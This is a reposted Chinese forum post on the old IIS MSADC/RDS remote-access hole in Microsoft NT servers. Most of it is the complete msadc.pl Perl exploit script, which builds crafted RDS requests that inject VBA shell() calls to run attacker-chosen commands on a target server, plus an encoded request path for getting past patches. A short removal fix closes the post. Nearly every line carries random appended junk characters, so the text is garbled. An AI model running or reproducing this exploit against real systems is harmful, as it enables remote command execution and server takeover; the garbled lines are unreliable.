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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) pm*6&,  
M=57 d7  
涉及程序: 8?L7h\)-  
Microsoft NT server o+H;ZGT5H  
 {ws:g![  
描述: "v"w ER?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 483BrFV  
\9*,[mvC  
详细: qw!_/Z3[  
如果你没有时间读详细内容的话,就删除: j&G*$/lTO6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll llf|d'5Nl  
有关的安全问题就没有了。 !;YmLJk;hN  
CywQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `g;`yJX<  
L y!!+UM\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 %lw!4Z\gg  
关于利用ODBC远程漏洞的描述,请参看: S z3@h"  
FQbF)K~e  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +$eEZ;4  
Yxal%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 xp395ub6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp .@Z-<P"  
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这里不再论述。 2Mc}>UI?eO  
wX3x.@!:  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Z;^UY\&X  
A 'Q nL  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset >g+ogwZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! xwwy9:ze*l  
Yy4? |wVl  
F8\nAX  
#将下面这段保存为txt文件,然后: "perl -x 文件名" /$7_*4e  
nyZUf{:  
#!perl @ (UacFO  
# 7*e7P[LQU  
# MSADC/RDS 'usage' (aka exploit) script A~CQ@  
# IAD_Tck  
# by rain.forest.puppy 3H0~?z_  
# UIUCj8QJg  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me rUX1Iu7  
# beta test and find errors! D Hkmn  
-Mb`I >=  
use Socket; use Getopt::Std; z@lUaMm:F  
getopts("e:vd:h:XR", \%args); R "S,&  
~aK@M4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Wx;`=9  
/7$3RV(  
if (!defined $args{h} && !defined $args{R}) { NR8YVO)5$  
print qq~ TSQ/{=r  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `TM[7'  
-h <host> = host you want to scan (ip or domain) :nuMakZZ  
-d <seconds> = delay between calls, default 1 second Yg5m=Lis  
-X = dump Index Server path table, if available wG1A]OJl1  
-v = verbose niZ/yW{w  
-e = external dictionary file for step 5 @$R[Js%MuO  
9rr"q5[  
Or a -R will resume a command session dMAd-q5{  
C.r9)#G  
~; exit;} "#T3l^@  
1C[j:Ly/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~.;S>o[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} tL?nO#Qx  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} i-(^t1c  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 6m_whGosi  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %&L]k>n^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } VU1 ;ZJ E  
6vVx>hFJ47  
if (!defined $args{R}){ $ret = &has_msadc; wl1JKiodg  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} bgW=.s  
E>j*m}b  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" fr~e!!$H  
. "cmd /c "; nRpZ;X)'.  
$in=<STDIN>; chomp $in; D2$"!7O1H  
$command="cmd /c " . $in ; #GBe=tm\K  
8~QEJW$  
if (defined $args{R}) {&load; exit;} #P,mZ}G\  
*R17 KMS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2QUZAV\ Y  
&try_btcustmr; [KIK}:  
-G<$wh9~3  
print "\nStep 2: Trying to make our own DSN..."; l4oI5)w  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; @\,WJmW  
V j\1 HQ  
print "\nStep 3: Trying known DSNs..."; .6Swc?  
&known_dsn; &8R%W"<K  
g{&a|NU^  
print "\nStep 4: Trying known .mdbs..."; H\tz"<*``  
&known_mdb; B_w;2ZuA  
"]}+QK_  
if (defined $args{e}){ -ec ~~95  
print "\nStep 5: Trying dictionary of DSN names..."; bP%0T++vo  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Hcw@24ic  
|A_yr/f  
print "Sorry Charley...maybe next time?\n"; OO.. Y  
exit; wv>uT{g#  
Z~}=q  
############################################################################## M{S7tMX  
30 Vv Zb  
sub sendraw { # ripped and modded from whisker  k~#F@_  
sleep($delay); # it's a DoS on the server! At least on mine... >W,1s  
my ($pstr)=@_; ,5jE9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || h>,yqiY4p  
die("Socket problems\n"); "j5b$T0P>  
if(connect(S,pack "SnA4x8",2,80,$target)){ ' bio: 1  
select(S); $|=1; C' C'@?]  
print $pstr; my @in=<S>; SRq0y,d  
select(STDOUT); close(S); OM!CP'u#{  
return @in; KDP7u  
} else { die("Can't connect...\n"); }} [\NyBc  
/esSM~*H  
############################################################################## >#z*gCO5,  
pEIc ?i*  
sub make_header { # make the HTTP request rf"%D<bb  
my $msadc=<<EOT unqX<6hu  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 f $MVgX  
User-Agent: ACTIVEDATA <>,V> k|  
Host: $ip T)Byws  
Content-Length: $clen [xT2c.2__J  
Connection: Keep-Alive noiUi>G;:  
6 flc  
ADCClientVersion:01.06 \HFeEEKH  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 g+gHIb7{  
(q+U5Ls6  
--!ADM!ROX!YOUR!WORLD! 0eY$K7 U  
Content-Type: application/x-varg *V(TNLIh;  
Content-Length: $reqlen LGq}wxq  
{uEu ^6a5  
EOT J2 _DP  
; $msadc=~s/\n/\r\n/g; T_CYSS|fX  
return $msadc;} s$e0;C!D  
@)mH"u!(7  
############################################################################## K1O0/2O  
|,F/_    
sub make_req { # make the RDS request )P\Vd #  
my ($switch, $p1, $p2)=@_; ^YzFEu$  
my $req=""; my $t1, $t2, $query, $dsn; 6dO )]  
kKnz F  
if ($switch==1){ # this is the btcustmr.mdb query YK#bzu ,!  
$query="Select * from Customers where City=" . make_shell(); }?xu/C  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1,fjdd8OM;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} afRUBjs  
#"%=7(  
elsif ($switch==2){ # this is general make table query _A%} >:q  
$query="create table AZZ (B int, C varchar(10))"; R*I{?+  
$dsn="$p1";} VJ P]Jy_  
jJ-j   
elsif ($switch==3){ # this is general exploit table query z8+3/jLN0B  
$query="select * from AZZ where C=" . make_shell();  Z+ [Nco  
$dsn="$p1";} X_XeI!,b  
v/6QE;BY&Q  
elsif ($switch==4){ # attempt to hork file info from index server 7>`QX%  
$query="select path from scope()"; "YD<pRVB  
$dsn="Provider=MSIDXS;";} :%qJAjR&  
1lu _<?O  
elsif ($switch==5){ # bad query -?n|kSHX  
$query="select"; V}ZF\SG(K  
$dsn="$p1";} DWDL|4 og  
Q}ho Y  
$t1= make_unicode($query); }~$zdgMT  
$t2= make_unicode($dsn); l=%v  
$req = "\x02\x00\x03\x00"; Px:PoOw\  
$req.= "\x08\x00" . pack ("S1", length($t1)); (</cu$w>H)  
$req.= "\x00\x00" . $t1 ; Dt\F]\6sd  
$req.= "\x08\x00" . pack ("S1", length($t2)); }ex2tkz  
$req.= "\x00\x00" . $t2 ; Jla ;^X  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |) QE+|?P  
return $req;} #kT3Sx  
rz0~W6 U  
############################################################################## +9>t; Ty  
_O ~DJ"  
sub make_shell { # this makes the shell() statement g&;:[&% T]  
return "'|shell(\"$command\")|'";} "Q]`~u':  
T:S+P t~  
############################################################################## 3=V79&  
NK'awv),pM  
sub make_unicode { # quick little function to convert to unicode iO4YZ!  
my ($in)=@_; my $out; D OiL3i"H  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "Q;n-fqf  
return $out;} N8;/Zd;^  
rmutw~nHD  
############################################################################## !q!.OQ  
EI6K0{'&X  
sub rdo_success { # checks for RDO return success (this is kludge) 7u-o7#,X2  
my (@in) = @_; my $base=content_start(@in); \gy39xoW(  
if($in[$base]=~/multipart\/mixed/){ rWEJCFa  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} DU#6%8~  
return 0;} ?)k;.<6  
<)+9PV<w  
############################################################################## %g}ri8  
?"[b408-  
sub make_dsn { # this makes a DSN for us sEq_K#n{  
my @drives=("c","d","e","f"); @D&VOJV  
print "\nMaking DSN: "; uG@Nubdwuy  
foreach $drive (@drives) { Jj}+tQ f  
print "$drive: "; .<j\"X(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  Hrm^@3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" smW 7zGE  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |13UJ vR  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; @13vn x  
return 0 if $2 eq "404"; # not found/doesn't exist PJLSDIeN  
if($2 eq "200") { 6VpT*,2d~  
foreach $line (@results) { 8C3oj  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} XqMJe'%r  
} return 0;} >.N?y@  
z6#~B&  
############################################################################## -v#0.3zm  
>AI65g  
sub verify_exists { #@Yw]@5M  
my ($page)=@_; d-w#\ ^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); < TJzp  
return $results[0];} W3K?K-  
Lgl%fO/<t  
############################################################################## .XQ_,  
xG i,\K\:  
sub try_btcustmr { ,,vl+Z <&  
my @drives=("c","d","e","f"); ~p^&` FA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zI77#AUM  
[`^5Zb  
foreach $dir (@dirs) { r=l hYn  
print "$dir -> "; # fun status so you can see progress *T0{ yI  
foreach $drive (@drives) { ousvsP%'  
print "$drive: "; # ditto z/yNFY]i  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; wd&Tf R4!  
$reqlenlen=length( "$reqlen" ); U 1!6%x  
$clen= 206 + $reqlenlen + $reqlen; N9 yL(2  
^"N]i`dIF  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); bC{1LY0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ,tBb$T)7<  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 7kJ =C  
H|&[,&M>  
############################################################################## w4w[qxV>  
V4kt&61  
sub odbc_error { I[u%k ir  
my (@in)=@_; my $base; kpFt  
my $base = content_start(@in); H]2cw{2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w+c%Y\:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *V}T}nK7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4 0as7.q  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c!n\?lB  
return $in[$base+4].$in[$base+5].$in[$base+6];} }cUq1r-bW  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ; C/:$l  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ? I7}4i7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} {uVvo=3  
4 XSEN ]F  
############################################################################## mOm_a9M L  
#w_cos[I  
sub verbose { "_!D b&AH  
my ($in)=@_; -DWyKR= j"  
return if !$verbose; ^lADq']  
print STDOUT "\n$in\n";} P_Rh& gkuK  
`<}Q4p  
############################################################################## 5cY([4,  
$,Q0ay  
sub save { z  u53mZ  
my ($p1, $p2, $p3, $p4)=@_; Ll 4/P[7:?  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; [=f(u wY>g  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BCy# Td  
close OUT;} 2/[J<c\G  
Aun X[X9  
############################################################################## ,ddoII  
_Z9HOl@  
sub load { H?\b   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; B{x`^3q R  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); OQl7#`G!H%  
@p=<IN>; close(IN); YVSAYv_ZG}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ~< ~PaP$=\  
$target= inet_aton($ip) || die("inet_aton problems"); njhDrwN  
print "Resuming to $ip ..."; O}$@|w(8;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; V5ve  
if($p[1]==1) { ST'eJ5P7!5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; b@6hGiqx  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; T'W)RYnwl  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,0j7qn@tm  
if (rdo_success(@results)){print "Success!\n";} =rH' \7T  
else { print "failed\n"; verbose(odbc_error(@results));}} #kho[`9  
elsif ($p[1]==3){ o|r8x_!+  
if(run_query("$p[3]")){ gzV&S5A{_  
print "Success!\n";} else { print "failed\n"; }} xLZJ[:gr  
elsif ($p[1]==4){ : T` Ni  
if(run_query($drvst . "$p[3]")){ "$@>n(w  
print "Success!\n"; } else { print "failed\n"; }} Q&Q$;s3|Y  
exit;} TU-aL  
. #+N?D<  
############################################################################## yH YqJ|t  
`;X~$uS  
sub create_table { ..Q$q2.  
my ($in)=@_; )1E[CIaXK  
$reqlen=length( make_req(2,$in,"") ) - 28; \W%Aeg*c  
$reqlenlen=length( "$reqlen" ); cOhx  
$clen= 206 + $reqlenlen + $reqlen; ,q[aV 6kO  
my @results=sendraw(make_header() . make_req(2,$in,"")); \&tv *  
return 1 if rdo_success(@results); c4\Nuy  
my $temp= odbc_error(@results); verbose($temp); 2kG(\+\  
return 1 if $temp=~/Table 'AZZ' already exists/; '+ %<\.$  
return 0;} G&2UXr3  
q$#5>5&  
############################################################################## |->P|1 P  
`Mg&s*  
sub known_dsn { 8:D|[u;iG  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go `1O<UJX  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 397IbZ\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", l*l?aI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); >VnBWa<j3  
B<V8:vOam  
foreach $dSn (@dsns) { J #ukH`|-  
print "."; 9YMD[H\}V  
next if (!is_access("DSN=$dSn")); bQTkW<7gh  
if(create_table("DSN=$dSn")){ nu=yE$BN{  
print "$dSn successful\n"; Nj p?/r  
if(run_query("DSN=$dSn")){ O1C| { M  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2b&&3u8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9n\b!*x  
u;@~P  
############################################################################## s2IjZF{  
M&93TQU-  
sub is_access { -a^%9 U  
my ($in)=@_; T6Oah:50EM  
$reqlen=length( make_req(5,$in,"") ) - 28; B\<;e  
$reqlenlen=length( "$reqlen" ); {hP_"nN#  
$clen= 206 + $reqlenlen + $reqlen; vOF"p4 ^3  
my @results=sendraw(make_header() . make_req(5,$in,"")); V?yTJJ21X  
my $temp= odbc_error(@results); cPx] :sC  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); s|cL mL[  
return 0;} k'(d$;Jgr  
&"_5?7_N  
############################################################################## #0:N$'SZ  
gG?sLgL:  
sub run_query { " A4.2  
my ($in)=@_; [5"F=tT7WP  
$reqlen=length( make_req(3,$in,"") ) - 28; f+WN=-F\  
$reqlenlen=length( "$reqlen" ); jPDk~|  
$clen= 206 + $reqlenlen + $reqlen; L\GjG&Y5  
my @results=sendraw(make_header() . make_req(3,$in,"")); mi`jY0e2  
return 1 if rdo_success(@results); `]T# uP<u  
my $temp= odbc_error(@results); verbose($temp); zyHHz\{  
return 0;} 2#y-3y<G  
Qp?+G~*  
############################################################################## 9/yE\p .  
KscugX*x  
sub known_mdb { PfrzrRahb  
my @drives=("c","d","e","f","g"); n7>L&?N#y#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "t ^yM`$5[  
my $dir, $drive, $mdb; {S$]I)tV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mdNIC  
s MZ90Q$  
# this is sparse, because I don't know of many m-wK8]t9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", X~o6Xkg  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Rr%CP[bH  
"\\system32\\certmdb.mdb", [$x&J6jF.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ]-2Q0wTj  
ukInS:7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #a$k3C  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 8Ry%HV9VE  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fzk^QrB  
"\\cfusion\\cfapps\\security\\realm_.mdb", ]b+Nsr~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Szb#:C  
"\\cfusion\\database\\cfexamples.mdb", 2jT2~D.U1  
"\\cfusion\\database\\cfsnippets.mdb", grs~<n|o\  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", IEP^u `}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", zP`&X:8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", R?D c*,  
"\\cfusion\\database\\smpolicy.mdb", GN=ugP 9  
"\\cfusion\\database\cypress.mdb", @OB7TI_/   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", CI8bHY$  
"\\website\\cgi-win\\dbsample.mdb", pWm==Ds|  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5ltrr(MeD  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" wk@S+Q  
); #these are just 23iMG]J&  
foreach $drive (@drives) { q+J;^u"E  
foreach $dir (@dirs){ zm{U.Q  
foreach $mdb (@sysmdbs) { .@kjC4m  
print "."; |jhu  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !zW22M  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; "C~Zl&3  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ `0z8J*T]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; d7U%Q8?wUR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} eKv{N\E  
u$MXO].Q  
foreach $drive (@drives) { 4\pUA4  
foreach $mdb (@mdbs) { Tw]].|^f-  
print "."; >OotgJnhC  
if(create_table($drv . $drive . $dir . $mdb)){ XD8Q2un  
print "\n" . $drive . $dir . $mdb . " successful\n"; VZ1u/O?ub  
if(run_query($drv . $drive . $dir . $mdb)){ ZR*Dl.GWY  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1:j[p=Q&  
} else { print "Something's borked. Use verbose next time\n"; }}}} VX+:C(m~  
} b9L" ?{  
9l&4mt;+&<  
############################################################################## C?h}n4\B^?  
aBblP8)8;K  
sub hork_idx { 7O]$2  
print "\nAttempting to dump Index Server tables...\n"; ibqJ'@{=e  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _Z0O]>KH  
$reqlen=length( make_req(4,"","") ) - 28; #[ TOe  
$reqlenlen=length( "$reqlen" ); ]7/6u.G7R  
$clen= 206 + $reqlenlen + $reqlen; mNDd>4%H_  
my @results=sendraw2(make_header() . make_req(4,"","")); CYH o~VIK  
if (rdo_success(@results)){ Js0hlWu  
my $max=@results; my $c; my %d; F4|U\,g  
for($c=19; $c<$max; $c++){ U^~jB= =]  
$results[$c]=~s/\x00//g; av:9kPKm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; [:"7B&&A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; S uo  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; XR@C^d  
$d{"$1$2"}="";} {IG5qi?/E)  
foreach $c (keys %d){ print "$c\n"; } 1c19$KHu  
} else {print "Index server doesn't seem to be installed.\n"; }} a bw7{%2  
d#Xt2   
############################################################################## (d ?sFwOt\  
ZGgM- O1  
sub dsn_dict { L; (J6p]h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); T*bBw  
while(<IN>){ T~G~M/  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; tEl_a~s*3?  
next if (!is_access("DSN=$dSn")); a`E1rK'  
if(create_table("DSN=$dSn")){ =&-+{txs  
print "$dSn successful\n"; iRsK; )<  
if(run_query("DSN=$dSn")){ '^ob3N/Y [  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Sft+Gb6  
print "Something's borked. Use verbose next time\n";}}} r zO5 3\  
print "\n"; close(IN);} 6JUjT]S%  
W*jwf@ 0  
############################################################################## dOx0'q"Z  
2r*Yd(e  
sub sendraw2 { # ripped and modded from whisker ]`H8r y2  
sleep($delay); # it's a DoS on the server! At least on mine... tMOhH #  
my ($pstr)=@_; ]IeyJ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eUZvJTE  
die("Socket problems\n"); ;RW0 24  
if(connect(S,pack "SnA4x8",2,80,$target)){ wu`P=-  
print "Connected. Getting data"; D\9-MXc1  
open(OUT,">raw.out"); my @in; E5`KUMZkq  
select(S); $|=1; print $pstr; $9PscubM4  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} gzd)7np B2  
close(OUT); select(STDOUT); close(S); return @in; TZ>_N;jTZ  
} else { die("Can't connect...\n"); }} M.h8Kr!.  
w^N3Ma  
############################################################################## s;!Tz)  
*c{X\!YBh  
sub content_start { # this will take in the server headers # *)X+*  
my (@in)=@_; my $c; :}{,u6\  
for ($c=1;$c<500;$c++) { /j(3 ~%]o4  
if($in[$c] =~/^\x0d\x0a/){ k*"FMJG_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } l 4e`-7  
else { return $c+1; }}} M~"93Q`f^  
return -1;} # it should never get here actually ? ht;ZP  
P(Wr[lH\y  
############################################################################## x2@W,?oPm  
c@<vFoq  
sub funky { _X"G(  
my (@in)=@_; my $error=odbc_error(@in); Y2 QX9RN  
if($error=~/ADO could not find the specified provider/){ 04}" n  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; )D>= \ Me  
exit;} *wNO3tP't  
if($error=~/A Handler is required/){ Di>B:=  
print "\nServer has custom handler filters (they most likely are patched)\n"; d%w#a3(  
exit;} aA3KJa  
if($error=~/specified Handler has denied Access/){ C'oNGOEd  
print "\nServer has custom handler filters (they most likely are patched)\n"; , 3p$Z  
exit;}} o@j)clf  
+L>?kr[i[  
############################################################################## WB(Gx_o3  
\9 5O  
sub has_msadc { Qs1e0LwA9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); f>kW\uC  
my $base=content_start(@results); i?D KKjN$  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); CF0i72ul5  
return 0;} jp|1S^b  
+u|p<z  
######################## Im<(  
d^W1;0  
,'z=cB`+o  
解决方案: eR*y<K(d  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Aat-938FP6  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 hH])0C  
lOJ3_8  
拿出来充数 哈哈
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